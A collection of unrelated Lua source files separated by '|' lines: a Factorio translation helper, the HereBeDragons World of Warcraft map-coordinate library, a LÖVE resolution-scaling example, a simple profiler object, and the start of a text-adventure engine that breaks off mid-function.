function flib_translation.add_requests(player_index, strings)
local __translation = global.__flib.translation
local player_table = __translation.players[player_index]
if player_table then
player_table.state = "sort"
if player_table.sort then
local strings_to_sort = player_table.sort.strings
for i = 1, #strings do
strings_to_sort[#strings_to_sort + 1] = strings[i]
end
player_table.sort.next_index = 1
else
player_table.sort = {
strings = table.shallow_copy(strings),
next_index = 1,
}
end
player_table.translate.next_key = nil
else
__translation.players[player_index] = {
state = "sort",
-- sort
sort = {
strings = table.shallow_copy(strings),
next_index = 1,
},
-- translate
translate = {
strings = { __size = 0 },
next_key = nil,
},
-- wait
wait_tick = nil,
}
__translation.translating_players_count = __translation.translating_players_count + 1
end
end
function flib_translation.cancel(player_index)
local __translation = global.__flib.translation
local player_table = __translation.players[player_index]
if not player_table then
log("Tried to cancel translations for player [" .. player_index .. "] when no translations were running!")
return
end
__translation.players[player_index] = nil
__translation.translating_players_count = __translation.translating_players_count - 1
end
function flib_translation.is_translating(player_index)
return global.__flib.translation.players[player_index] and true or false
end
function flib_translation.translating_players_count()
return global.__flib.translation.translating_players_count
end
function flib_translation.serialise_localised_string(localised_string)
if type(localised_string) == "string" then
return localised_string
end
local output = "{"
local first = true
for _, v in pairs(localised_string) do
if not first then
output = output .. ","
end
if type(v) == "table" then
output = output .. flib_translation.serialise_localised_string(v)
else
output = output .. '"' .. tostring(v) .. '"'
end
first = false
end
output = output .. "}"
return output
end
return flib_translation
|
-- HereBeDragons is a data API for the World of Warcraft mapping system
-- HereBeDragons-1.0 is not supported on WoW 8.0
if select(4, GetBuildInfo()) >= 80000 then
return
end
local MAJOR, MINOR = "HereBeDragons-1.0", 33
assert(LibStub, MAJOR .. " requires LibStub")
local HereBeDragons, oldversion = LibStub:NewLibrary(MAJOR, MINOR)
if not HereBeDragons then return end
local CBH = LibStub("CallbackHandler-1.0")
HereBeDragons.eventFrame = HereBeDragons.eventFrame or CreateFrame("Frame")
HereBeDragons.mapData = HereBeDragons.mapData or {}
HereBeDragons.continentZoneMap = HereBeDragons.continentZoneMap or { [-1] = { [0] = WORLDMAP_COSMIC_ID }, [0] = { [0] = WORLDMAP_AZEROTH_ID }}
HereBeDragons.mapToID = HereBeDragons.mapToID or { Cosmic = WORLDMAP_COSMIC_ID, World = WORLDMAP_AZEROTH_ID }
HereBeDragons.microDungeons = HereBeDragons.microDungeons or {}
HereBeDragons.transforms = HereBeDragons.transforms or {}
HereBeDragons.callbacks = HereBeDragons.callbacks or CBH:New(HereBeDragons, nil, nil, false)
-- constants
local TERRAIN_MATCH = "_terrain%d+$"
-- Lua upvalues
local PI2 = math.pi * 2
local atan2 = math.atan2
local pairs, ipairs = pairs, ipairs
local type = type
local band = bit.band
-- WoW API upvalues
local UnitPosition = UnitPosition
-- data table upvalues
local mapData = HereBeDragons.mapData -- table { width, height, left, top }
local continentZoneMap = HereBeDragons.continentZoneMap
local mapToID = HereBeDragons.mapToID
local microDungeons = HereBeDragons.microDungeons
local transforms = HereBeDragons.transforms
local currentPlayerZoneMapID, currentPlayerLevel, currentMapFile, currentMapIsMicroDungeon
-- Override instance ids for phased content
local instanceIDOverrides = {
-- Draenor
[1152] = 1116, -- Horde Garrison 1
[1330] = 1116, -- Horde Garrison 2
[1153] = 1116, -- Horde Garrison 3
[1154] = 1116, -- Horde Garrison 4 (unused)
[1158] = 1116, -- Alliance Garrison 1
[1331] = 1116, -- Alliance Garrison 2
[1159] = 1116, -- Alliance Garrison 3
[1160] = 1116, -- Alliance Garrison 4 (unused)
[1191] = 1116, -- Ashran PvP Zone
[1203] = 1116, -- Frostfire Finale Scenario
[1207] = 1116, -- Talador Finale Scenario
[1277] = 1116, -- Defense of Karabor Scenario (SMV)
[1402] = 1116, -- Gorgrond Finale Scenario
[1464] = 1116, -- Tanaan
[1465] = 1116, -- Tanaan
-- Legion
[1478] = 1220, -- Temple of Elune Scenario (Val'Sharah)
[1495] = 1220, -- Protection Paladin Artifact Scenario (Stormheim)
[1498] = 1220, -- Havoc Demon Hunter Artifact Scenario (Suramar)
[1502] = 1220, -- Dalaran Underbelly
[1533] = 0, -- Karazhan Artifact Scenario
[1612] = 1220, -- Feral Druid Artifact Scenario (Suramar)
[1626] = 1220, -- Suramar Withered Scenario
[1662] = 1220, -- Suramar Invasion Scenario
}
-- unregister and store all WORLD_MAP_UPDATE registrants, to avoid excess processing when
-- retrieving info from stateful map APIs
local wmuRegistry
local function UnregisterWMU()
wmuRegistry = {GetFramesRegisteredForEvent("WORLD_MAP_UPDATE")}
for _, frame in ipairs(wmuRegistry) do
frame:UnregisterEvent("WORLD_MAP_UPDATE")
end
end
-- restore WORLD_MAP_UPDATE to all frames in the registry
local function RestoreWMU()
assert(wmuRegistry)
for _, frame in ipairs(wmuRegistry) do
frame:RegisterEvent("WORLD_MAP_UPDATE")
end
wmuRegistry = nil
end
-- gather map info, but only if this isn't an upgrade (or the upgrade version forces a re-map)
if not oldversion or oldversion < 33 then
-- wipe old data, if required, otherwise the upgrade path isn't triggered
if oldversion then
wipe(mapData)
wipe(microDungeons)
end
local MAPS_TO_REMAP = {
-- alliance garrison
[973] = 971,
[974] = 971,
[975] = 971,
[991] = 971,
-- horde garrison
[980] = 976,
[981] = 976,
[982] = 976,
[990] = 976,
}
-- some zones will remap initially, but have a fixup later
local REMAP_FIXUP_EXEMPT = {
-- main draenor garrison maps
[971] = true,
[976] = true,
-- legion class halls
[1072] = { Z = 10, mapFile = "TrueshotLodge" }, -- true shot lodge
[1077] = { Z = 7, mapFile = "TheDreamgrove" }, -- dreamgrove
}
local function processTransforms()
wipe(transforms)
for _, tID in ipairs(GetWorldMapTransforms()) do
local terrainMapID, newTerrainMapID, _, _, transformMinY, transformMaxY, transformMinX, transformMaxX, offsetY, offsetX, flags = GetWorldMapTransformInfo(tID)
-- flag 4 indicates the transform is only for the flight map
if band(flags, 4) ~= 4 and (offsetY ~= 0 or offsetX ~= 0) then
local transform = {
instanceID = terrainMapID,
newInstanceID = newTerrainMapID,
minY = transformMinY,
maxY = transformMaxY,
minX = transformMinX,
maxX = transformMaxX,
offsetY = offsetY,
offsetX = offsetX
}
table.insert(transforms, transform)
end
end
end
local function applyMapTransforms(instanceID, left, right, top, bottom)
for _, transformData in ipairs(transforms) do
if transformData.instanceID == instanceID then
if left < transformData.maxX and right > transformData.minX and top < transformData.maxY and bottom > transformData.minY then
instanceID = transformData.newInstanceID
left = left + transformData.offsetX
right = right + transformData.offsetX
top = top + transformData.offsetY
bottom = bottom + transformData.offsetY
break
end
end
end
return instanceID, left, right, top, bottom
end
-- gather the data of one zone (by mapID)
local function processZone(id)
if not id or mapData[id] then return end
-- set the map and verify it could be set
local success = SetMapByID(id)
if not success then
return
elseif id ~= GetCurrentMapAreaID() and not REMAP_FIXUP_EXEMPT[id] then
-- this is an alias zone (phasing terrain changes), just skip it and remap it later
if not MAPS_TO_REMAP[id] then
MAPS_TO_REMAP[id] = GetCurrentMapAreaID()
end
return
end
-- dimensions of the map
local originalInstanceID, _, _, left, right, top, bottom = GetAreaMapInfo(id)
local instanceID = originalInstanceID
if (left and top and right and bottom and (left ~= 0 or top ~= 0 or right ~= 0 or bottom ~= 0)) then
instanceID, left, right, top, bottom = applyMapTransforms(originalInstanceID, left, right, top, bottom)
mapData[id] = { left - right, top - bottom, left, top }
else
mapData[id] = { 0, 0, 0, 0 }
end
mapData[id].instance = instanceID
mapData[id].name = GetMapNameByID(id)
-- store the original instance id (ie. not remapped for map transforms) for micro dungeons
mapData[id].originalInstance = originalInstanceID
local mapFile = type(REMAP_FIXUP_EXEMPT[id]) == "table" and REMAP_FIXUP_EXEMPT[id].mapFile or GetMapInfo()
if mapFile then
-- remove phased terrain from the map names
mapFile = mapFile:gsub(TERRAIN_MATCH, "")
if not mapToID[mapFile] then mapToID[mapFile] = id end
mapData[id].mapFile = mapFile
end
local C, Z = GetCurrentMapContinent(), GetCurrentMapZone()
-- maps that remap generally have wrong C/Z info, so allow the fixup table to override it
if type(REMAP_FIXUP_EXEMPT[id]) == "table" then
C = REMAP_FIXUP_EXEMPT[id].C or C
Z = REMAP_FIXUP_EXEMPT[id].Z or Z
end
mapData[id].C = C or -100
mapData[id].Z = Z or -100
if mapData[id].C > 0 and mapData[id].Z >= 0 then
-- store C/Z lookup table
if not continentZoneMap[C] then
continentZoneMap[C] = {}
end
if not continentZoneMap[C][Z] then
continentZoneMap[C][Z] = id
end
end
-- retrieve floors
local floors = { GetNumDungeonMapLevels() }
-- offset floors for terrain map
if DungeonUsesTerrainMap() then
for i = 1, #floors do
floors[i] = floors[i] + 1
end
end
-- check for fake floors
if #floors == 0 and GetCurrentMapDungeonLevel() > 0 then
floors[1] = GetCurrentMapDungeonLevel()
mapData[id].fakefloor = GetCurrentMapDungeonLevel()
end
mapData[id].floors = {}
mapData[id].numFloors = #floors
for i = 1, mapData[id].numFloors do
local f = floors[i]
SetDungeonMapLevel(f)
local _, right, bottom, left, top = GetCurrentMapDungeonLevel()
if left and top and right and bottom then
instanceID, left, right, top, bottom = applyMapTransforms(originalInstanceID, left, right, top, bottom)
mapData[id].floors[f] = { left - right, top - bottom, left, top }
mapData[id].floors[f].instance = mapData[id].instance
elseif f == 1 and DungeonUsesTerrainMap() then
mapData[id].floors[f] = { mapData[id][1], mapData[id][2], mapData[id][3], mapData[id][4] }
mapData[id].floors[f].instance = mapData[id].instance
end
end
-- setup microdungeon storage if the its a zone map or has no floors of its own
if (mapData[id].C > 0 and mapData[id].Z > 0) or mapData[id].numFloors == 0 then
if not microDungeons[originalInstanceID] then
microDungeons[originalInstanceID] = { global = {} }
end
end
end
local function processMicroDungeons()
for _, dID in ipairs(GetDungeonMaps()) do
local floorIndex, minX, maxX, minY, maxY, terrainMapID, parentWorldMapID, flags = GetDungeonMapInfo(dID)
-- apply transform
local originalTerrainMapID = terrainMapID
terrainMapID, maxX, minX, maxY, minY = applyMapTransforms(terrainMapID, maxX, minX, maxY, minY)
-- check if this zone can have microdungeons
if microDungeons[originalTerrainMapID] then
-- store per-zone info
if not microDungeons[originalTerrainMapID][parentWorldMapID] then
microDungeons[originalTerrainMapID][parentWorldMapID] = {}
end
microDungeons[originalTerrainMapID][parentWorldMapID][floorIndex] = { maxX - minX, maxY - minY, maxX, maxY }
microDungeons[originalTerrainMapID][parentWorldMapID][floorIndex].instance = terrainMapID
-- store global info, as some microdungeon are associated to the wrong zone when phasing is involved (garrison, and more)
-- but only store the first, since there can be overlap on the same continent otherwise
if not microDungeons[originalTerrainMapID].global[floorIndex] then
microDungeons[originalTerrainMapID].global[floorIndex] = microDungeons[originalTerrainMapID][parentWorldMapID][floorIndex]
end
end
end
end
local function fixupZones()
-- fake cosmic map
mapData[WORLDMAP_COSMIC_ID] = {0, 0, 0, 0}
mapData[WORLDMAP_COSMIC_ID].instance = -1
mapData[WORLDMAP_COSMIC_ID].mapFile = "Cosmic"
mapData[WORLDMAP_COSMIC_ID].floors = {}
mapData[WORLDMAP_COSMIC_ID].C = -1
mapData[WORLDMAP_COSMIC_ID].Z = 0
mapData[WORLDMAP_COSMIC_ID].name = WORLD_MAP
-- fake azeroth world map
-- the world map has one "floor" per continent it contains, which allows
-- using these floors to translate coordinates from and to the world map.
-- note: due to artistic differences in the drawn azeroth maps, the values
-- used for the continents are estimates and not perfectly accurate
mapData[WORLDMAP_AZEROTH_ID] = { 63570, 42382, 53730, 19600 } -- Eastern Kingdoms, or floor 0
mapData[WORLDMAP_AZEROTH_ID].floors = {
-- Kalimdor
[1] = { 65700, 43795, 11900, 23760, instance = 1 },
-- Northrend
[571] = { 65700, 43795, 33440, 11960, instance = 571 },
-- Pandaria
[870] = { 58520, 39015, 29070, 34410, instance = 870 },
-- Broken Isles
[1220] = { 96710, 64476, 63100, 29960, instance = 1220 },
}
mapData[WORLDMAP_AZEROTH_ID].instance = 0
mapData[WORLDMAP_AZEROTH_ID].mapFile = "World"
mapData[WORLDMAP_AZEROTH_ID].C = 0
mapData[WORLDMAP_AZEROTH_ID].Z = 0
mapData[WORLDMAP_AZEROTH_ID].name = WORLD_MAP
-- alliance draenor garrison
if mapData[971] then
mapData[971].Z = 5
mapToID["garrisonsmvalliance_tier1"] = 971
mapToID["garrisonsmvalliance_tier2"] = 971
mapToID["garrisonsmvalliance_tier3"] = 971
end
-- horde draenor garrison
if mapData[976] then
mapData[976].Z = 3
mapToID["garrisonffhorde_tier1"] = 976
mapToID["garrisonffhorde_tier2"] = 976
mapToID["garrisonffhorde_tier3"] = 976
end
-- remap zones with alias IDs
for remapID, validMapID in pairs(MAPS_TO_REMAP) do
if mapData[validMapID] then
mapData[remapID] = mapData[validMapID]
end
end
end
local function gatherMapData()
-- unregister WMU to reduce the processing burden
UnregisterWMU()
-- load transforms
processTransforms()
-- load the main zones
-- these should be processed first so they take precedence in the mapFile lookup table
local continents = {GetMapContinents()}
for i = 1, #continents, 2 do
processZone(continents[i])
local zones = {GetMapZones((i + 1) / 2)}
for z = 1, #zones, 2 do
processZone(zones[z])
end
end
-- process all other zones, this includes dungeons and more
local areas = GetAreaMaps()
for idx, zoneID in pairs(areas) do
processZone(zoneID)
end
-- fix a few zones with data lookup problems
fixupZones()
-- and finally, the microdungeons
processMicroDungeons()
-- restore WMU
RestoreWMU()
end
gatherMapData()
end
-- Transform a set of coordinates based on the defined map transformations
local function applyCoordinateTransforms(x, y, instanceID)
for _, transformData in ipairs(transforms) do
if transformData.instanceID == instanceID then
if transformData.minX <= x and transformData.maxX >= x and transformData.minY <= y and transformData.maxY >= y then
instanceID = transformData.newInstanceID
x = x + transformData.offsetX
y = y + transformData.offsetY
break
end
end
end
if instanceIDOverrides[instanceID] then
instanceID = instanceIDOverrides[instanceID]
end
return x, y, instanceID
end
-- get the data table for a map and its level (floor)
local function getMapDataTable(mapID, level)
if not mapID then return nil end
if type(mapID) == "string" then
mapID = mapID:gsub(TERRAIN_MATCH, "")
mapID = mapToID[mapID]
end
local data = mapData[mapID]
if not data then return nil end
if (type(level) ~= "number" or level == 0) and data.fakefloor then
level = data.fakefloor
end
if type(level) == "number" and level > 0 then
if data.floors[level] then
return data.floors[level]
elseif data.originalInstance and microDungeons[data.originalInstance] then
if microDungeons[data.originalInstance][mapID] and microDungeons[data.originalInstance][mapID][level] then
return microDungeons[data.originalInstance][mapID][level]
elseif microDungeons[data.originalInstance].global[level] then
return microDungeons[data.originalInstance].global[level]
end
end
else
return data
end
end
local StartUpdateTimer
local function UpdateCurrentPosition()
UnregisterWMU()
-- save active map and level
local prevContinent
local prevMapID, prevLevel = GetCurrentMapAreaID(), GetCurrentMapDungeonLevel()
-- handle continent maps (751 is the maelstrom continent, which fails with SetMapByID)
if not prevMapID or prevMapID < 0 or prevMapID == 751 then
prevContinent = GetCurrentMapContinent()
end
-- set current map
SetMapToCurrentZone()
-- retrieve active values
local newMapID, newLevel = GetCurrentMapAreaID(), GetCurrentMapDungeonLevel()
local mapFile, _, _, isMicroDungeon, microFile = GetMapInfo()
-- we want to ignore any terrain phasings
if mapFile then
mapFile = mapFile:gsub(TERRAIN_MATCH, "")
end
-- hack to update the mapfile for the garrison map (as it changes when the player updates his garrison)
-- its not ideal to only update it when the player is in the garrison, but updates should only really happen then
if (newMapID == 971 or newMapID == 976) and mapData[newMapID] and mapFile ~= mapData[newMapID].mapFile then
mapData[newMapID].mapFile = mapFile
end
-- restore previous map
if prevContinent then
SetMapZoom(prevContinent)
else
-- reset map if it changed, or we need to go back to level 0
if prevMapID and (prevMapID ~= newMapID or (prevLevel ~= newLevel and prevLevel == 0)) then
SetMapByID(prevMapID)
end
if prevLevel and prevLevel > 0 then
SetDungeonMapLevel(prevLevel)
end
end
RestoreWMU()
if newMapID ~= currentPlayerZoneMapID or newLevel ~= currentPlayerLevel then
-- store micro dungeon map lookup, if available
if microFile and not mapToID[microFile] then mapToID[microFile] = newMapID end
-- update upvalues and signal callback
currentPlayerZoneMapID, currentPlayerLevel, currentMapFile, currentMapIsMicroDungeon = newMapID, newLevel, microFile or mapFile, isMicroDungeon
HereBeDragons.callbacks:Fire("PlayerZoneChanged", currentPlayerZoneMapID, currentPlayerLevel, currentMapFile, currentMapIsMicroDungeon)
end
-- start a timer to update in micro dungeons since multi-level micro dungeons do not reliably fire events
if isMicroDungeon then
StartUpdateTimer()
end
end
-- upgradeable timer callback, don't want to keep calling the old function if the library is upgraded
HereBeDragons.UpdateCurrentPosition = UpdateCurrentPosition
local function UpdateTimerCallback()
-- signal that the timer ran
HereBeDragons.updateTimerActive = nil
-- run update now
HereBeDragons.UpdateCurrentPosition()
end
function StartUpdateTimer()
if not HereBeDragons.updateTimerActive then
-- prevent running multiple timers
HereBeDragons.updateTimerActive = true
-- and queue an update
C_Timer.After(1, UpdateTimerCallback)
end
end
local function OnEvent(frame, event, ...)
UpdateCurrentPosition()
end
HereBeDragons.eventFrame:SetScript("OnEvent", OnEvent)
HereBeDragons.eventFrame:UnregisterAllEvents()
HereBeDragons.eventFrame:RegisterEvent("ZONE_CHANGED_NEW_AREA")
HereBeDragons.eventFrame:RegisterEvent("ZONE_CHANGED")
HereBeDragons.eventFrame:RegisterEvent("ZONE_CHANGED_INDOORS")
HereBeDragons.eventFrame:RegisterEvent("NEW_WMO_CHUNK")
HereBeDragons.eventFrame:RegisterEvent("PLAYER_ENTERING_WORLD")
-- if we're loading after entering the world (ie. on demand), update position now
if IsLoggedIn() then
UpdateCurrentPosition()
end
--- Return the localized zone name for a given mapID or mapFile
-- @param mapID numeric mapID or mapFile
function HereBeDragons:GetLocalizedMap(mapID)
if type(mapID) == "string" then
mapID = mapID:gsub(TERRAIN_MATCH, "")
mapID = mapToID[mapID]
end
return mapData[mapID] and mapData[mapID].name or nil
end
--- Return the map id to a mapFile
-- @param mapFile Map File
function HereBeDragons:GetMapIDFromFile(mapFile)
if mapFile then
mapFile = mapFile:gsub(TERRAIN_MATCH, "")
return mapToID[mapFile]
end
return nil
end
--- Return the mapFile to a map ID
-- @param mapID Map ID
function HereBeDragons:GetMapFileFromID(mapID)
return mapData[mapID] and mapData[mapID].mapFile or nil
end
--- Lookup the map ID for a Continent / Zone index combination
-- @param C continent index from GetCurrentMapContinent
-- @param Z zone index from GetCurrentMapZone
function HereBeDragons:GetMapIDFromCZ(C, Z)
if C and continentZoneMap[C] then
return Z and continentZoneMap[C][Z]
end
return nil
end
--- Lookup the C/Z values for map
-- @param mapID the MapID
function HereBeDragons:GetCZFromMapID(mapID)
if mapData[mapID] then
return mapData[mapID].C, mapData[mapID].Z
end
return nil, nil
end
--- Get the size of the zone
-- @param mapID Map ID or MapFile of the zone
-- @param level Optional map level
-- @return width, height of the zone, in yards
function HereBeDragons:GetZoneSize(mapID, level)
local data = getMapDataTable(mapID, level)
if not data then return 0, 0 end
return data[1], data[2]
end
--- Get the number of floors for a map
-- @param mapID map ID or mapFile of the zone
function HereBeDragons:GetNumFloors(mapID)
if not mapID then return 0 end
if type(mapID) == "string" then
mapID = mapID:gsub(TERRAIN_MATCH, "")
mapID = mapToID[mapID]
end
if not mapData[mapID] or not mapData[mapID].numFloors then return 0 end
return mapData[mapID].numFloors
end
--- Get a list of all map IDs
-- @return array-style table with all known/valid map IDs
function HereBeDragons:GetAllMapIDs()
local t = {}
for id in pairs(mapData) do
table.insert(t, id)
end
return t
end
--- Convert local/point coordinates to world coordinates in yards
-- @param x X position in 0-1 point coordinates
-- @param y Y position in 0-1 point coordinates
-- @param zone MapID or MapFile of the zone
-- @param level Optional level of the zone
function HereBeDragons:GetWorldCoordinatesFromZone(x, y, zone, level)
local data = getMapDataTable(zone, level)
if not data or data[1] == 0 or data[2] == 0 then return nil, nil, nil end
if not x or not y then return nil, nil, nil end
local width, height, left, top = data[1], data[2], data[3], data[4]
x, y = left - width * x, top - height * y
return x, y, data.instance
end
--- Convert world coordinates to local/point zone coordinates
-- @param x Global X position
-- @param y Global Y position
-- @param zone MapID or MapFile of the zone
-- @param level Optional level of the zone
-- @param allowOutOfBounds Allow coordinates to go beyond the current map (ie. outside of the 0-1 range), otherwise nil will be returned
function HereBeDragons:GetZoneCoordinatesFromWorld(x, y, zone, level, allowOutOfBounds)
local data = getMapDataTable(zone, level)
if not data or data[1] == 0 or data[2] == 0 then return nil, nil end
if not x or not y then return nil, nil end
local width, height, left, top = data[1], data[2], data[3], data[4]
x, y = (left - x) / width, (top - y) / height
-- verify the coordinates fall into the zone
if not allowOutOfBounds and (x < 0 or x > 1 or y < 0 or y > 1) then return nil, nil end
return x, y
end
--- Translate zone coordinates from one zone to another
-- @param x X position in 0-1 point coordinates, relative to the origin zone
-- @param y Y position in 0-1 point coordinates, relative to the origin zone
-- @param oZone Origin Zone, mapID or mapFile
-- @param oLevel Origin Zone Level
-- @param dZone Destination Zone, mapID or mapFile
-- @param dLevel Destination Zone Level
-- @param allowOutOfBounds Allow coordinates to go beyond the current map (ie. outside of the 0-1 range), otherwise nil will be returned
function HereBeDragons:TranslateZoneCoordinates(x, y, oZone, oLevel, dZone, dLevel, allowOutOfBounds)
local xCoord, yCoord, instance = self:GetWorldCoordinatesFromZone(x, y, oZone, oLevel)
if not xCoord then return nil, nil end
local data = getMapDataTable(dZone, dLevel)
if not data or data.instance ~= instance then return nil, nil end
return self:GetZoneCoordinatesFromWorld(xCoord, yCoord, dZone, dLevel, allowOutOfBounds)
end
--- Return the distance from an origin position to a destination position in the same instance/continent.
-- @param instanceID instance ID
-- @param oX origin X
-- @param oY origin Y
-- @param dX destination X
-- @param dY destination Y
-- @return distance, deltaX, deltaY
function HereBeDragons:GetWorldDistance(instanceID, oX, oY, dX, dY)
if not oX or not oY or not dX or not dY then return nil, nil, nil end
local deltaX, deltaY = dX - oX, dY - oY
return (deltaX * deltaX + deltaY * deltaY)^0.5, deltaX, deltaY
end
--- Return the distance between two points on the same continent
-- @param oZone origin zone map id or mapfile
-- @param oLevel optional origin zone level (floor)
-- @param oX origin X, in local zone/point coordinates
-- @param oY origin Y, in local zone/point coordinates
-- @param dZone destination zone map id or mapfile
-- @param dLevel optional destination zone level (floor)
-- @param dX destination X, in local zone/point coordinates
-- @param dY destination Y, in local zone/point coordinates
-- @return distance, deltaX, deltaY in yards
function HereBeDragons:GetZoneDistance(oZone, oLevel, oX, oY, dZone, dLevel, dX, dY)
local oX, oY, oInstance = self:GetWorldCoordinatesFromZone(oX, oY, oZone, oLevel)
if not oX then return nil, nil, nil end
-- translate dX, dY to the origin zone
local dX, dY, dInstance = self:GetWorldCoordinatesFromZone(dX, dY, dZone, dLevel)
if not dX then return nil, nil, nil end
if oInstance ~= dInstance then return nil, nil, nil end
return self:GetWorldDistance(oInstance, oX, oY, dX, dY)
end
--- Return the angle and distance from an origin position to a destination position in the same instance/continent.
-- @param instanceID instance ID
-- @param oX origin X
-- @param oY origin Y
-- @param dX destination X
-- @param dY destination Y
-- @return angle, distance where angle is in radians and distance in yards
function HereBeDragons:GetWorldVector(instanceID, oX, oY, dX, dY)
local distance, deltaX, deltaY = self:GetWorldDistance(instanceID, oX, oY, dX, dY)
if not distance then return nil, nil end
-- calculate the angle from deltaY and deltaX
local angle = atan2(-deltaX, deltaY)
-- normalize the angle
if angle > 0 then
angle = PI2 - angle
else
angle = -angle
end
return angle, distance
end
--- Get the current world position of the specified unit
-- The position is transformed to the current continent, if applicable
-- NOTE: The same restrictions as for the UnitPosition() API apply,
-- which means a very limited set of unit ids will actually work.
-- @param unitId Unit Id
-- @return x, y, instanceID
function HereBeDragons:GetUnitWorldPosition(unitId)
-- get the current position
local y, x, z, instanceID = UnitPosition(unitId)
if not x or not y then return nil, nil, instanceIDOverrides[instanceID] or instanceID end
-- return transformed coordinates
return applyCoordinateTransforms(x, y, instanceID)
end
--- Get the current world position of the player
-- The position is transformed to the current continent, if applicable
-- @return x, y, instanceID
function HereBeDragons:GetPlayerWorldPosition()
-- get the current position
local y, x, z, instanceID = UnitPosition("player")
if not x or not y then return nil, nil, instanceIDOverrides[instanceID] or instanceID end
-- return transformed coordinates
return applyCoordinateTransforms(x, y, instanceID)
end
--- Get the current zone and level of the player
-- The returned mapFile can represent a micro dungeon, if the player currently is inside one.
-- @return mapID, level, mapFile, isMicroDungeon
function HereBeDragons:GetPlayerZone()
return currentPlayerZoneMapID, currentPlayerLevel, currentMapFile, currentMapIsMicroDungeon
end
--- Get the current position of the player on a zone level
-- The returned values are local point coordinates, 0-1. The mapFile can represent a micro dungeon.
-- @param allowOutOfBounds Allow coordinates to go beyond the current map (ie. outside of the 0-1 range), otherwise nil will be returned
-- @return x, y, mapID, level, mapFile, isMicroDungeon
function HereBeDragons:GetPlayerZonePosition(allowOutOfBounds)
if not currentPlayerZoneMapID then return nil, nil, nil, nil end
local x, y, instanceID = self:GetPlayerWorldPosition()
if not x or not y then return nil, nil, nil, nil end
x, y = self:GetZoneCoordinatesFromWorld(x, y, currentPlayerZoneMapID, currentPlayerLevel, allowOutOfBounds)
if x and y then
return x, y, currentPlayerZoneMapID, currentPlayerLevel, currentMapFile, currentMapIsMicroDungeon
end
return nil, nil, nil, nil
end
|
io.stdout:setvbuf("no")
push = require "push" --require the library
love.window.setTitle("Press space to switch examples")
local examples = {
"low-res",
"single-shader",
"multiple-shaders",
"mouse-input",
"canvases-shaders",
"stencil"
}
local example = 1
for i = 1, #examples do
examples[i] = require("examples." .. examples[i])
end
function love.resize(w, h)
push:resize(w, h)
end
function love.keypressed(key, scancode, isrepeat)
if key == "space" then
example = (example < #examples) and example + 1 or 1
--be sure to reset push settings
push:resetSettings()
examples[example]()
love.load()
elseif key == "f" then --activate fullscreen mode
push:switchFullscreen() --optional width and height parameters for window mode
end
end
examples[example]()
|
------------------------------------------------------------------------------------------------------------------------
--
-- Profiler.lua
--
-- A profiler object.
--
------------------------------------------------------------------------------------------------------------------------
local Profiler = {
Start = function(self)
assert(not self.__m_running)
self.__m_running = true
self.__m_startTime = os.clock()
self.__m_startMemory = collectgarbage("count")
end;
Stop = function(self)
assert(self.__m_running)
self.__m_running = false
self.__m_stopTime = os.clock()
self.__m_stopMemory = collectgarbage("count")
end;
GetElapsedTime = function(self)
return self.__m_stopTime - self.__m_startTime
end;
GetMemoryUsage = function(self)
return self.__m_stopMemory - self.__m_startMemory
end;
GetFormattedReport = function(self)
local timeElapsedSeconds = self:GetElapsedTime()
local memoryUsageKb = self:GetMemoryUsage()
return
([[
================================================================================
== Profiler: %s
================================================================================
Elapsed time : %.10f Seconds
Starting Memory : %.10f Kb (%.10f Mb)
Stopping Memory : %.10f Kb (%.10f Mb)
Change in memory usage : %.10f Kb (%.10f Mb)]])
:format(
self.__m_name,
self:GetElapsedTime(),
self.__m_startMemory, self.__m_startMemory/1024,
self.__m_stopMemory, self.__m_stopMemory/1024,
memoryUsageKb, memoryUsageKb/1024)
end;
__tostring = function(self)
return ("profiler "..self.__m_name)
end;
__index = 0;
}
Profiler.__index = Profiler
local __s_profilers = {}
function Profiler.new(name)
if __s_profilers[name] then
return __s_profilers[name]
end
local instance = {
__m_name = name;
__m_running = false;
__m_startTime = 0.0;
__m_stopTime = 0.0;
__m_startMemory = 0.0;
__m_stopMemory = 0.0;
}
return setmetatable(instance, Profiler)
end
function Profiler.delete(name)
__s_profilers[name] = nil
end
return Profiler
|
--[==[description
TODO
]==]
local M = {
__prefix = 'code',
}
|
--start AdventureLib (c)2009,2010 Robin Wellner
--additional Copyright (c) 2010 William Griffin
ChangesLog=[["04042010
added exits command returns doors in q room
added look inventory object
added formatted commands list and action
created FLUID stack to house Lib
added console for self contained adventure.
drag and drop files to Lib or Console to run
added actions for directions without `go` and shortcuts n = north,etc
04192010 fixed shortcuts
]]
--pass;
-- returns :nil;
--A placeholder function that does nothing. Mainly for internal use.;
pass = function() end
--newobject
function newobject(class, name, table)
local t = table or {}
local name = name or #class.all
setmetatable(t, {__index = class})
class.all[name] = t
t._name = name
return t
end
--room:new
room = {all = {}, enter = pass, leave = pass, description = '', current = nil}
function room:new(name, t)
newobject(self, name, t)
t.door = t.door or {}
t.objects = t.objects or {}
return t
end
--object:new
object = {all = {}}
function object:new(name, t)
newobject(self, name, t)
t.action = t.action or {}
return t
end
--getobj
function getobj(param)
local obj = room.current.objects[param]
if obj then
return obj
end
for k,obj in pairs(room.current.objects) do
if obj.description:lower() == param then
return obj
end
end
end
--getinvobj
function getinvobj(param)
for i,obj in ipairs(player.inventory) do
if obj._name == param or obj.description:lower() == param then
return obj, i
end
end
end
player = {inventory = {}}
--info
function info()
print(room.current.name)
for i in string.gmatch(room.current.description,"%s%s") do
room.current.description = string.gsub(room.current.description,"%s%s","\t\n")
end
print(room.current.description)
end
--split
function split(text)
local t = {}
local n = 1
for v in string.gmatch(text, "([^ ]+)") do
t[n] = v
n = n + 1
end
return t
end
-- ACTIONS
actions = {};
if not _NODEFAULT then
validate = {
door = {"go through (.+)",
"go (.+)",
"use (.+)",
"enter (.+)",
"north",
"east",
"west",
"south",
"left",
"right",
"up",
"down",
"n",
"e",
"w",
"s",
"l",
"r",
"u",
"d",
},
use = {"use (.+)",
},
talk = {"talk to (.+)",
"talk (.+)",
},
look = {"look at (.+)",
"room",
"look (.+)",
"describe (.+)",
"examine (.+)",
},
pickup = {"pick (.+) up",
"pick up (.+)",
"pick (.+)",
"take (.+)",
"get (.+)",
},
putdown = {"put (.+) down",
"put down (.+)",
"put (.+)",
"drop (.+)",
},
checkinventory = {"check inventory",
"check",
"list",
"inv",
"inventory",
},
exits = {"exits",
"ex",
"x",
"doors"},
commands = {"commands",
"hlist",
"clist",
"help",
"words",
},
};
-- commands
function commands()
commandslist=""
for action,valids in pairs(validate) do
vs=""
for i,valid in ipairs(valids) do
vs=vs..valid..","
end
if action ~= nil then
commandslist = commandslist.."\n\n"..string.upper(action).."\n"..string.sub(vs,1,-1)
end
end
vs = commandslist
